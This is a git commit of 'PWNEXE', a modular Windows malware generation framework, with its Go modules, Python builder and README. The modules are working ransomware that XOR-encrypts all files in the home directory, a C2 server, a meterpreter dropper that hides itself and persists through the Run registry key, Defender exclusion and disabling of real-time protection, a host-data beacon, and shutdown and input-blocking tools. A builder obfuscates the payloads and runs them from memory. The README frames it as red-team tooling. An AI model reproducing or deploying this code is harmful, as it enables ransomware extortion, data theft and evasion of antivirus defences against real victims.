Version 0.1.0 Basic Malware Generation

This commit is contained in:
Sarwar
2025-07-02 17:24:09 +05:00
commit 0a6767895e
11 changed files with 1242 additions and 0 deletions

72
DAEMONS/bartmoss.go Normal file
View File

@ -0,0 +1,72 @@
package main
import (
"crypto/rand"
"fmt"
"io/fs"
"io/ioutil"
"os"
"path/filepath"
"strings"
)
func main() {
homeDir, err := os.UserHomeDir()
if err != nil {
fmt.Println("Error getting home directory:", err)
return
}
desktopPath := filepath.Join(homeDir, "Desktop")
err = filepath.WalkDir(homeDir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
fmt.Println("Skipping path due to error:", path, "error:", err)
return nil // skip this path, continue walking
}
if d.IsDir() {
return nil
}
if strings.HasSuffix(path, ".bartmoss") {
return nil
}
content, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println("Skipping unreadable file:", path, "error:", err)
return nil // skip this file, continue walking
}
key := make([]byte, len(content))
_, err = rand.Read(key)
if err != nil {
fmt.Println("Skipping file due to rand error:", path, "error:", err)
return nil
}
encrypted := make([]byte, len(content))
for i := 0; i < len(content); i++ {
encrypted[i] = content[i] ^ key[i]
}
err = ioutil.WriteFile(path, encrypted, 0644)
if err != nil {
fmt.Println("Skipping unwritable file:", path, "error:", err)
return nil
}
dir := filepath.Dir(path)
base := filepath.Base(path)
nwe := strings.TrimSuffix(base, filepath.Ext(base))
nn := nwe + ".bartmoss"
np := filepath.Join(dir, nn)
err = os.Rename(path, np)
if err != nil {
fmt.Println("Skipping unrenamable file:", path, "error:", err)
return nil
}
return nil
})
if err != nil {
fmt.Println("Error walking the path:", err)
}
filePath := filepath.Join(desktopPath, "README.txt")
message := "YOUR NOTE HERE\n"
err = os.WriteFile(filePath, []byte(message), 0644)
if err != nil {
fmt.Println("Error writing file:", err)
}
}

33
DAEMONS/filedaemon.go Normal file
View File

@ -0,0 +1,33 @@
package main
import (
"fmt"
"net/http"
"io/ioutil"
"time"
)
func main() {
port := "8080"
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
body, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Println("Error reading body:", err)
w.WriteHeader(500)
return
}
fmt.Println("[C2] Received data:", string(body))
w.WriteHeader(200)
w.Write([]byte("OK"))
} else {
w.WriteHeader(200)
w.Write([]byte("C2 server running. Send POST data."))
}
})
fmt.Println("C2 server started on port", port)
http.ListenAndServe(":"+port, nil)
for {
time.Sleep(10 * time.Second)
}
}

64
DAEMONS/spider.go Normal file
View File

@ -0,0 +1,64 @@
package main
import (
"fmt"
"encoding/base64"
"os"
"path/filepath"
"os/exec"
"syscall"
)
func main() {
base64String := ""
decodeData, err := base64.StdEncoding.DecodeString(base64String)
if err != nil {
fmt.Println("Error decoding Base64:", err)
return
}
appdata := os.Getenv("APPDATA")
if appdata == "" {
fmt.Println("APPDATA environment variable not found")
return
}
hiddenFolder := filepath.Join(appdata, ".sysdata")
err = os.MkdirAll(hiddenFolder, 0755)
if err != nil {
fmt.Println("Error creating hidden folder:", err)
return
}
outputFile := filepath.Join(hiddenFolder, "syshost.exe")
file, err := os.Create(outputFile)
if err != nil {
fmt.Println("Error creating file:", err)
return
}
defer file.Close()
_, err = file.Write(decodeData)
if err != nil {
fmt.Println("Error writing to file:", err)
return
}
hideCmd := exec.Command("powershell", "-Command", "attrib +h '"+hiddenFolder+"' ; attrib +h '"+outputFile+"'")
hideCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = hideCmd.Run()
if err != nil {
fmt.Println("Error hiding folder or file:", err)
return
}
cmd := exec.Command("powershell", "-Command", "Set-MpPreference -ExclusionPath '" + outputFile + "'")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = cmd.Run()
if err != nil {
fmt.Println("Error executing command:", err)
return
}
startupName := "SysHostService"
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+outputFile+"'")
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = regCmd.Run()
if err != nil {
fmt.Println("Error adding to startup:", err)
return
}
}

View File

@ -0,0 +1,16 @@
package main
import (
"os/exec"
"fmt"
)
func main() {
cmd := exec.Command("shutdown", "/s", "/t", "0")
err := cmd.Run()
if err != nil {
fmt.Println("Failed to shutdown:", err)
}
}
func compile() {}

22
INTERFACEPLUGS/suicide.go Normal file
View File

@ -0,0 +1,22 @@
package main
import (
"syscall"
"fmt"
"time"
)
func main() {
user32 := syscall.NewLazyDLL("user32.dll")
blockInput := user32.NewProc("BlockInput")
r, _, err := blockInput.Call(1)
if r == 0 {
fmt.Println("Failed to block input:", err)
return
}
fmt.Println("Keyboard and mouse input blocked. Press Ctrl+Alt+Del to unlock (if possible).")
for {
time.Sleep(10 * time.Second)
}
}

67
QUICKHACKS/icepick.go Normal file
View File

@ -0,0 +1,67 @@
package main
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"syscall"
)
func copyFile(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
if err != nil {
return err
}
return out.Close()
}
func main() {
appdata := os.Getenv("APPDATA")
if appdata == "" {
fmt.Println("APPDATA environment variable not found")
return
}
hiddenFolder := filepath.Join(appdata, ".sysdata")
err := os.MkdirAll(hiddenFolder, 0755)
if err != nil {
fmt.Println("Error creating hidden folder:", err)
return
}
exePath, err := os.Executable()
if err != nil {
fmt.Println("Error getting executable path:", err)
return
}
targetExe := filepath.Join(hiddenFolder, "syshost.exe")
err = copyFile(exePath, targetExe)
if err != nil {
fmt.Println("Error copying exe:", err)
return
}
exec.Command("attrib", "+h", hiddenFolder).Run()
exec.Command("attrib", "+h", targetExe).Run()
exec.Command("powershell", "-Command", "Add-MpPreference -ExclusionPath '"+targetExe+"';").Run()
startupName := "SysHostService"
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+targetExe+"'")
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = regCmd.Run()
if err != nil {
fmt.Println("Error creating registry key:", err)
}
exec.Command("powershell", "-Command", "Set-MpPreference -DisableRealtimeMonitoring $true").Run()
fmt.Println("Icepick payload executed.")
}

84
QUICKHACKS/ping.go Normal file
View File

@ -0,0 +1,84 @@
package main
import (
"fmt"
"net/http"
"os"
"os/user"
"encoding/json"
"io/ioutil"
"net"
"runtime"
"bytes"
"strings"
"os/exec"
)
func main() {
username := ""
usr, err := user.Current()
if err == nil {
username = usr.Username
}
hostname, _ := os.Hostname()
ip := ""
macs := []string{}
ifaces, err := net.Interfaces()
if err == nil {
for _, iface := range ifaces {
if iface.Flags&net.FlagUp != 0 && len(iface.HardwareAddr) > 0 {
macs = append(macs, iface.HardwareAddr.String())
}
addrs, _ := iface.Addrs()
for _, addr := range addrs {
if ip == "" {
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
ip = ipnet.IP.String()
}
}
}
}
}
envVars := os.Environ()
cwd, _ := os.Getwd()
procs := []string{}
if runtime.GOOS == "windows" {
out, err := exec.Command("tasklist").Output()
if err == nil {
lines := strings.Split(string(out), "\n")
for _, line := range lines {
if strings.TrimSpace(line) != "" {
procs = append(procs, line)
}
}
}
}
data := map[string]interface{}{
"username": username,
"hostname": hostname,
"ip": ip,
"macs": macs,
"os": runtime.GOOS,
"arch": runtime.GOARCH,
"env": envVars,
"cwd": cwd,
"procs": procs,
}
jsonData, _ := json.Marshal(data)
c2url := "http://localhost:8080/"
req, err := http.NewRequest("POST", c2url, bytes.NewReader(jsonData))
if err != nil {
fmt.Println("Failed to create request:", err)
return
}
req.Header.Set("Content-Type", "application/json")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Failed to send data:", err)
return
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
fmt.Println("C2 response:", string(body))
}

120
README.md Normal file
View File

@ -0,0 +1,120 @@
## Overview
**PWNEXE** is a modular Windows malware generation framework. It empowers security researchers and red teamers to rapidly build custom malware payloads by chaining together a variety of modules—such as ransomware, persistence loaders, C2 servers, and more—into a single executable. PWNEXE is designed for advanced adversary simulation, malware research, and authorized red team operations.
> **Warning:** This tool is for educational and authorized security research only. Misuse may be illegal and unethical.
---
## Features
- **Modular Payloads:** Chain multiple modules (ransomware, persistence, C2, etc.) into a single EXE.
- **Customizable Options:** Configure module and build options (e.g., ransom note, C2 port, EXE name).
- **In-Memory Execution:** Optional Rust loader for stealthy, in-memory payload delivery.
- **Obfuscation Support:** Optional payload obfuscation via LLVM and Rust.
- **Cross-Platform Build:** Uses Go and Rust for robust Windows payloads.
- **Fast Build Pipeline:** Output is saved to the `.LOOT` directory.
---
## Installation
1. **Clone the repository:**
```bash
git clone https://github.com/sarwaaaar/PWNEXE.git
cd PWNEXE
```
2. **Install Python 3.8+**
```bash
python3 --version
# If needed, install Python 3.8 or newer
```
3. **Install dependencies:**
```bash
python3 -m pip install --upgrade pip
python3 -m pip install -r requirements.txt
```
4. **Install system dependencies:**
- Go (for module compilation)
- Rust (for in-memory loader)
- Optional: Docker (for obfuscation)
- On macOS:
```bash
brew install go rust
# Docker: https://docs.docker.com/get-docker/
```
- On Linux:
```bash
sudo apt install golang rustc cargo
# Docker: https://docs.docker.com/get-docker/
```
---
## Usage
Start the tool:
```bash
python3 main.py
```
### Command Reference
- `use <module>` — Add a module to the build chain
- `set <OPTION> <VALUE>` — Set build/module options
- `show modules` — List available modules
- `show options` — Show current build/module options
- `build` — Build the final EXE payload
- `clear` — Clear selected modules
- `delete` — Remove a module from the chain
- `exit` — Exit the tool
### Example Workflow
```
pwnexe > show modules
pwnexe > use daemon/bartmoss
pwnexe > set NOTE "Your files have been encrypted! Contact evil@domain.com."
pwnexe > use daemon/spider
pwnexe > set LHOST 192.168.1.10
pwnexe > set LPORT 4444
pwnexe > build
```
- The final EXE will be saved in the `.LOOT` directory.
---
## Available Modules
| Module | Description |
|--------------------------|--------------------------------------------------------------------|
| daemon/filedaemon | Normal C2 server to receive data |
| daemon/spider | Metasploit C2 server (reverse shell/payload delivery) |
| daemon/bartmoss | Ransomware builder |
| interfaceplug/blackout | Screen blackout utility |
| interfaceplug/suicide | Block input (DoS) |
| quickhack/ping | Sends back user info to the C2 server |
| quickhack/icepick | Adds EXE to persistence and adds exclusion to Windows Defender |
---
## Advanced Features
- **Module Chaining:** Combine multiple behaviors in one payload.
- **Custom Build Options:** Set EXE name, enable obfuscation, etc.
- **In-Memory Execution:** Use Rust loader for stealthy delivery.
---
## Legal Disclaimer
PWNEXE is intended for educational purposes and authorized security testing only. You must have explicit permission to use this tool against any system or network. The authors and contributors are not responsible for misuse, damage, or legal consequences. Always follow applicable laws and ethical guidelines.
---
## Contributing
Contributions are welcome! Please fork the repository, create a feature branch, and submit a pull request with a detailed description of your changes.
---
## License
MIT License. See the `LICENSE` file for details.

300
compiler.py Normal file
View File

@ -0,0 +1,300 @@
import os
import subprocess
import sys
import tempfile
from pathlib import Path
import argparse
import shutil
import re
def compile_go(go_path, output_exe):
env = os.environ.copy()
env["GOOS"] = "windows"
env["GOARCH"] = "amd64"
result = subprocess.run(["go", "build", "-o", output_exe, go_path], env=env)
if result.returncode != 0 or not os.path.isfile(output_exe):
print(f"[Error] Go build failed for {go_path}")
sys.exit(1)
print(f"Built {output_exe}")
return output_exe
def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
with open(go_exe_path, "rb") as f:
go_bytes = f.read()
go_bytes_array = ','.join(str(b) for b in go_bytes)
embed_code = ""
embed_decl = ""
if embed_exe_path:
with open(embed_exe_path, "rb") as f:
embed_bytes = f.read()
embed_bytes_array = ','.join(str(b) for b in embed_bytes)
embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
embed_code = """
// Run embedded EXE first
unsafe {
memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
}
"""
rust_code = f'''
use memexec;
{embed_decl}
const GO_PAYLOAD: &[u8] = &[{go_bytes_array}];
fn main() {{
{embed_code} unsafe {{
memexec::memexec_exe(GO_PAYLOAD).expect("Failed to execute PE from memory");
}}
}}
'''
temp_dir = tempfile.mkdtemp(prefix="memexec_")
try:
src_dir = Path(temp_dir) / "src"
src_dir.mkdir(parents=True, exist_ok=True)
main_rs = src_dir / "main.rs"
main_rs.write_text(rust_code)
cargo_toml = Path(temp_dir) / "Cargo.toml"
cargo_toml.write_text("""
[package]
name = "payload"
version = "0.1.0"
edition = "2018"
[dependencies]
memexec = { git = "https://github.com/DmitrijVC/memexec", version = "0.3" }
""")
cargo_config_dir = Path(temp_dir) / ".cargo"
cargo_config_dir.mkdir(exist_ok=True)
config_toml = cargo_config_dir / "config.toml"
config_toml.write_text("""
[target.x86_64-pc-windows-gnu]
linker = "x86_64-w64-mingw32-gcc"
""")
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
if os.environ.get('PWNOS_DOCKER_OBFUSCATE', '0') == '1':
docker_image = "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest"
user_project_dir = str(temp_dir)
docker_cmd = [
"docker", "run", "--rm",
"--platform", "linux/amd64",
"-e", "CARGO_BUILD_JOBS=1",
"-v", f"{user_project_dir}:/projects/",
"-w", "/projects/",
docker_image,
"cargo", "rustc",
"--target", "x86_64-pc-windows-gnu",
"--release",
"--",
"-Cdebuginfo=0",
"-Cstrip=symbols",
"-Cpanic=abort",
"-Copt-level=3",
"-Cllvm-args=-enable-acdobf",
"-Cllvm-args=-enable-antihook",
"-Cllvm-args=-enable-adb",
"-Cllvm-args=-enable-bcfobf",
"-Cllvm-args=-enable-splitobf",
"-Cllvm-args=-enable-subobf",
"-Cllvm-args=-enable-fco",
"-Cllvm-args=-enable-constenc"
]
result = subprocess.run(docker_cmd)
if result.returncode != 0:
print("[Error] Rust build/obfuscation failed")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
else:
# Native cargo build (no Docker, no obfuscation)
result = subprocess.run([
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
], cwd=temp_dir)
if result.returncode != 0:
print("[Error] Native Rust build failed")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
finally:
shutil.rmtree(temp_dir, ignore_errors=True)
def merge_go_modules(go_files, merged_go_path):
"""
Merges multiple Go files into one, so their main logic runs in order.
Writes the merged Go file to merged_go_path.
Automatically removes unused imports.
"""
all_imports = set()
func_bodies = []
main_funcs = []
used_names = set()
func_name_to_body = {}
def unique_func_name(base, used):
i = 1
name = base
while name in used:
name = f"{base}_{i}"
i += 1
used.add(name)
return name
def extract_functions(src):
"""Extract all top-level functions from Go source code using a line-based parser."""
funcs = []
lines = src.splitlines()
in_func = False
brace_count = 0
func_lines = []
func_name = None
for idx, line in enumerate(lines):
if not in_func:
match = re.match(r'func\s+([\w]+)\s*\(', line)
if match:
in_func = True
func_name = match.group(1)
func_lines = [line]
# Count braces on this line
brace_count = line.count('{') - line.count('}')
if brace_count == 0 and line.rstrip().endswith('}'): # one-liner
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
elif in_func:
func_lines.append(line)
brace_count += line.count('{') - line.count('}')
if brace_count == 0:
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
return funcs
for idx, go_file in enumerate(go_files):
with open(go_file, 'r') as f:
src = f.read()
# Extract imports
imports = set()
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
if import_block:
for line in import_block[0].splitlines():
line = line.strip().strip('"')
if line:
imports.add(line)
else:
single_imports = re.findall(r'import\s+"([^"]+)"', src)
imports.update(single_imports)
all_imports.update(imports)
# Extract all top-level functions robustly
for func_name, body in extract_functions(src):
if func_name == "main":
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
# Rename the function
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
main_funcs.append((new_name, body))
else:
func_bodies.append(body.strip())
func_name_to_body[func_name] = body.strip()
# Compose merged code
merged_code = 'package main\n\n'
if all_imports:
if len(all_imports) > 1:
merged_code += 'import (\n'
for imp in sorted(all_imports):
merged_code += f'\t"{imp}"\n'
merged_code += ')\n\n'
else:
merged_code += f'import "{list(all_imports)[0]}"\n\n'
for helper in func_bodies:
merged_code += helper + '\n\n'
for func_name, main_body in main_funcs:
merged_code += main_body.strip() + '\n\n'
merged_code += 'func main() {\n'
for func_name, _ in main_funcs:
merged_code += f'\t{func_name}()\n'
merged_code += '}\n'
# Remove unused imports
merged_code = remove_unused_imports(merged_code)
with open(merged_go_path, 'w') as f:
f.write(merged_code)
def remove_unused_imports(go_code):
"""
Remove unused imports from a Go source string.
"""
import_block = re.search(r'import \((.*?)\)', go_code, re.DOTALL)
if not import_block:
single_imports = re.findall(r'import\s+"([^"]+)"', go_code)
for imp in single_imports:
if not re.search(r'\b' + re.escape(imp.split('/')[-1]) + r'\b', go_code.split('import')[1]):
go_code = re.sub(r'import\s+"' + re.escape(imp) + r'"\n', '', go_code)
return go_code
block = import_block.group(1)
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
used_imports = []
for imp in imports:
# Use the last part of the import path as the symbol
symbol = imp.split('/')[-1]
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
used_imports.append(imp)
if used_imports:
new_block = 'import (\n' + ''.join([f'\t"{imp}"\n' for imp in used_imports]) + ')'
go_code = re.sub(r'import \((.*?)\)', new_block, go_code, flags=re.DOTALL)
else:
go_code = re.sub(r'import \((.*?)\)\n', '', go_code, flags=re.DOTALL)
return go_code
def main():
parser = argparse.ArgumentParser(description="Go-to-memexec EXE builder for PWN0S")
parser.add_argument("--go_file", type=str, help="Path to Go file")
parser.add_argument("--output_exe", type=str, help="Output EXE name (in .LOOT)")
parser.add_argument("--embed", type=str, help="Path to EXE to embed and run before this module")
parser.add_argument("--go-only", action="store_true", help="Only build Go file to EXE, no Rust wrapping")
parser.add_argument("--merge", nargs='+', help="List of Go files to merge and run in order (last arg is output exe)")
parser.add_argument("--obfuscate", action="store_true", help="Enable obfuscation (use Docker/Rust)")
args = parser.parse_args()
if args.obfuscate:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '1'
else:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '0'
if args.merge:
*go_files, output_exe = args.merge
with tempfile.TemporaryDirectory() as tmpdir:
merged_go = os.path.join(tmpdir, "merged.go")
merge_go_modules(go_files, merged_go)
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(merged_go, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, output_exe)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
return
if args.go_only:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required with --go-only")
sys.exit(1)
compile_go(args.go_file, args.output_exe)
return
else:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required for default build path")
sys.exit(1)
with tempfile.TemporaryDirectory() as tmpdir:
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(args.go_file, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, args.output_exe, embed_exe_path=args.embed)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / args.output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
if __name__ == "__main__":
main()

69
loading.py Executable file
View File

@ -0,0 +1,69 @@
import random
import time
import os
import string
import threading
from contextlib import contextmanager
RED = "\033[38;2;204;103;102m"
RESET = "\033[0m"
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
def generate_random_code():
first = random.choice(string.digits + string.ascii_uppercase)
second = random.choice(string.digits + string.ascii_uppercase)
return f"{first}{second}"
def generate_random_matrix():
return [[generate_random_code() for _ in range(4)] for _ in range(5)]
def display_matrix():
matrix = generate_random_matrix()
for row in matrix:
for cell in row:
if random.random() < 0.3:
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
else:
print(f"{RED}{cell:^4}{RESET}", end=" ")
print()
print()
def loading_simulation(duration=5):
start_time = time.time()
while time.time() - start_time < duration:
display_matrix()
time.sleep(0.2)
if __name__ == "__main__":
loading_simulation()
def show_loading_screen(loading_message=None, duration=None, print_ascii_art=None, YELLOW="\033[93m"):
import sys
start_time = time.time()
while time.time() - start_time < (duration if duration is not None else 2):
clear_screen()
if print_ascii_art:
print_ascii_art()
if loading_message:
print(f"\n{YELLOW}[~] {loading_message}{RESET}\n")
matrix = generate_random_matrix()
for row in matrix:
for cell in row:
if random.random() < 0.3:
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
else:
print(f"{RED}{cell:^4}{RESET}", end=" ")
print()
print()
sys.stdout.flush()
time.sleep(0.2)
@contextmanager
def loading_state(message=None, duration=2, print_ascii_art=None):
stop_flag = [False]
def animate():
while not stop_flag[0]:
show_loading_screen(loading_message=message, duration=0.8, print_ascii_art=print_ascii_art)
t = threading.Thread(target=animate)
t.start()
try:
yield
finally:
stop_flag[0] = True
t.join()
clear_screen()
if print_ascii_art:
print_ascii_art()

395
main.py Normal file
View File

@ -0,0 +1,395 @@
import sys
sys.dont_write_bytecode = True
import os
import subprocess
import readline
from loading import clear_screen
import fileinput
import base64
MODULES = {
'daemon/filedaemon': {'desc': 'Normal C2 server to receive data'},
'daemon/spider': {'desc': 'Metasploit C2 server (reverse shell/payload delivery)'},
'daemon/bartmoss': {'desc': 'Ransomware builder'},
'interfaceplug/blackout': {'desc': 'Screen blackout utility'},
'interfaceplug/suicide': {'desc': 'Block input (DoS)'},
'quickhack/ping': {'desc': 'Sends back user info to the C2 server'},
'quickhack/icepick': {'desc': 'Adds EXE to persistence and adds exclusion to Windows Defender'},
}
MODULE_CHAIN = []
BUILD_OPTIONS = {
'exe_name': 'payload.exe',
'obfuscate': False,
}
MODULE_OPTIONS = {
'daemon/spider': {
'LHOST': '0.0.0.0',
'LPORT': '4444',
'KEY': 'changeme',
},
'daemon/filedaemon': {
'PORT': '8080',
},
'daemon/bartmoss': {
'NOTE': 'Your ransom note here',
},
}
COMMANDS = ['use', 'build', 'clear', 'delete', 'show modules', 'show options', 'exit', 'set']
YELLOW = "\033[93m"
RED = "\033[91m"
GREEN = "\033[92m"
PINK = "\033[38;2;224;147;217m"
RESET = "\033[0m"
ASCII_ART = f'''
-----
/ \
{RED}:================:{RESET} " )/
{RED}/|| ||{RESET} )_ /*
{RED}/ || {PINK}System{RESET} {RED}||{RESET} *
{RED}| || {PINK}Down{RESET} {RED}||{RESET} (=====~*~======)
{RED}\\ || {PINK}Please wait{RESET} {RED}||{RESET} 0 \\ / 0
{RED}=================={RESET} // (====*====) ||
{RED}........... / \\.............{RESET} // * ||
{RED}:\\ ############ \\{RESET} || (=====*======) ||
{RED}: --------------------------------- {RESET} V * V
{RED}: | * |__________|| :::::::::: |{RESET} o (======*=======) o
{RED}\\ | | || ....... |{RESET} \\ * ||
{RED} --------------------------------- 8{RESET} || (=====*======) //
{RED} 8{RESET} V * V
{RED} --------------------------------- 8{RESET} =|=; (==/ * \\==) =|=
{RED} \\ ########################### \\{RESET} / ! \\ _ * __ / | \\
{RED} \\ +++++++++++++++++++++++++++ \\{RESET} ! ! ! (__/ \\__) ! ! !
{RED} \\ ++++++++++++++++++++++++++++ \\{RESET} 0 \\ \\V/ / 0
{RED} \\________________________________\\{RESET} () \\o o/ ()
{RED} *********************************{RESET} () ()
'''
def print_ascii_art():
print(ASCII_ART)
def print_selected_modules():
if MODULE_CHAIN:
print("Selected modules:")
for idx, mod in enumerate(MODULE_CHAIN, 1):
print(f" {idx} -> {PINK}{mod}{RESET}")
else:
print("No modules selected.")
def print_ui():
clear_screen()
print_ascii_art()
print_selected_modules()
print()
def get_module_names():
return list(MODULES.keys())
def shell_completer(text, state):
buffer = readline.get_line_buffer()
line = buffer.split()
if not line:
opts = COMMANDS + get_module_names()
elif line[0] == 'use':
opts = [m for m in get_module_names() if m.startswith(text)]
else:
opts = [c for c in COMMANDS if c.startswith(text)]
if state < len(opts):
return opts[state] + ' '
return None
def print_modules():
print("\nAvailable modules:")
print(f"{'Module':<25} | Description")
print("-"*60)
for name, info in MODULES.items():
print(f"{name:<25} | {info.get('desc', '')}")
print()
def print_global_options():
print(f"{'Option':<15} | Value")
print("-"*30)
for k, v in BUILD_OPTIONS.items():
print(f"{k:<15} | {v}")
print()
def print_module_options(module):
opts = MODULE_OPTIONS.get(module)
if not opts:
print(f"No options for module: {module}")
return
print(f"{'Option':<15} | Value")
print("-"*30)
for k, v in opts.items():
print(f"{k:<15} | {v}")
print()
def print_options():
print(f"{'Option':<15} | Value")
print("-"*30)
for k, v in BUILD_OPTIONS.items():
print(f"{k:<15} | {v}")
print()
def colorize_message(msg):
lower = msg.lower()
if any(word in lower for word in ["fail", "error", "unknown", "no modules to remove", "usage"]):
return f"{RED}{msg}{RESET}"
elif any(word in lower for word in ["final merged exe", "set ", "removed module", "all selected modules cleared", "using module"]):
return f"{GREEN}{msg}{RESET}"
else:
return f"{YELLOW}{msg}{RESET}"
def patch_bartmoss_note(note):
go_path = os.path.join('DAEMONS', 'bartmoss.go')
with open(go_path, 'r') as f:
lines = f.readlines()
with open(go_path, 'w') as f:
for line in lines:
if 'message := ' in line and 'YOUR NOTE HERE' in line:
f.write(f' message := "{note}\\n"\n')
else:
f.write(line)
return lines
def restore_bartmoss_go(original_lines):
go_path = os.path.join('DAEMONS', 'bartmoss.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def generate_msfvenom_exe(lhost, lport, output_path):
# Generate a Windows x64 meterpreter reverse_tcp payload
import subprocess
cmd = [
'msfvenom',
'-p', 'windows/x64/meterpreter/reverse_tcp',
f'LHOST={lhost}',
f'LPORT={lport}',
'-f', 'exe',
'-o', output_path
]
result = subprocess.run(cmd, capture_output=True)
if result.returncode != 0:
raise RuntimeError(f"msfvenom failed: {result.stderr.decode()}")
def patch_spider_base64(exe_path):
go_path = os.path.join('DAEMONS', 'spider.go')
with open(exe_path, 'rb') as f:
b64 = base64.b64encode(f.read()).decode()
with open(go_path, 'r') as f:
lines = f.readlines()
with open(go_path, 'w') as f:
for line in lines:
if 'base64String :=' in line:
f.write(f' base64String := "{b64}"\n')
else:
f.write(line)
return lines # Return original lines for restoration
def restore_spider_go(original_lines):
go_path = os.path.join('DAEMONS', 'spider.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def patch_filedaemon_port(port):
go_path = os.path.join('DAEMONS', 'filedaemon.go')
with open(go_path, 'r') as f:
lines = f.readlines()
with open(go_path, 'w') as f:
for line in lines:
if line.strip().startswith('port := '):
f.write(f'port := "{port}"\n')
else:
f.write(line)
return lines
def restore_filedaemon_go(original_lines):
go_path = os.path.join('DAEMONS', 'filedaemon.go')
with open(go_path, 'w') as f:
f.writelines(original_lines)
def shell():
current_module = None
readline.set_completer(shell_completer)
readline.parse_and_bind('tab: complete')
output_lines = []
while True:
try:
print_ui()
if output_lines:
for line in output_lines:
print(colorize_message(line))
prompt_num = len(MODULE_CHAIN) + 1
prompt = f"{PINK}{prompt_num} * > {RESET}"
print()
cmdline = input(prompt)
parts = cmdline.strip().split()
output_lines = []
if not parts:
continue
cmd = parts[0].lower()
if cmd == 'use':
if len(parts) < 2:
output_lines.append("Usage: use <module>")
else:
modname = parts[1]
if modname not in MODULES:
output_lines.append(f"Unknown module: {modname}")
elif modname in MODULE_CHAIN:
output_lines.append(f"Module already selected: {modname}")
else:
current_module = modname
output_lines.append(f"Using module: {current_module}")
MODULE_CHAIN.append(current_module)
elif cmd == 'build':
if not MODULE_CHAIN:
output_lines.append("No modules in chain. Use 'use <module>' to add modules.")
else:
output_lines.append(f"Building merged malware with {len(MODULE_CHAIN)} modules...")
loot_dir = os.path.abspath(os.path.join(os.getcwd(), '.LOOT'))
os.makedirs(loot_dir, exist_ok=True)
go_paths = []
bartmoss_original = None
spider_original = None
filedaemon_original = None
for modname in MODULE_CHAIN:
go_path = modname.replace('daemon/', 'DAEMONS/').replace('quickhack/', 'QUICKHACKS/').replace('interfaceplug/', 'INTERFACEPLUGS/') + '.go'
# Patch bartmoss note if needed
if modname == 'daemon/bartmoss':
note = MODULE_OPTIONS.get('daemon/bartmoss', {}).get('NOTE', 'YOUR NOTE HERE')
bartmoss_original = patch_bartmoss_note(note)
# Patch spider.go with msfvenom payload if needed
if modname == 'daemon/spider':
opts = MODULE_OPTIONS.get('daemon/spider', {})
lhost = opts.get('LHOST', '0.0.0.0')
lport = opts.get('LPORT', '4444')
payload_path = os.path.join('.LOOT', 'spider_payload.exe')
try:
generate_msfvenom_exe(lhost, lport, payload_path)
except Exception as e:
output_lines.append(f"Failed to generate msfvenom payload: {e}")
continue
spider_original = patch_spider_base64(payload_path)
# Patch filedaemon.go with selected port if needed
if modname == 'daemon/filedaemon':
port = MODULE_OPTIONS.get('daemon/filedaemon', {}).get('PORT', '8080')
filedaemon_original = patch_filedaemon_port(port)
go_paths.append(go_path)
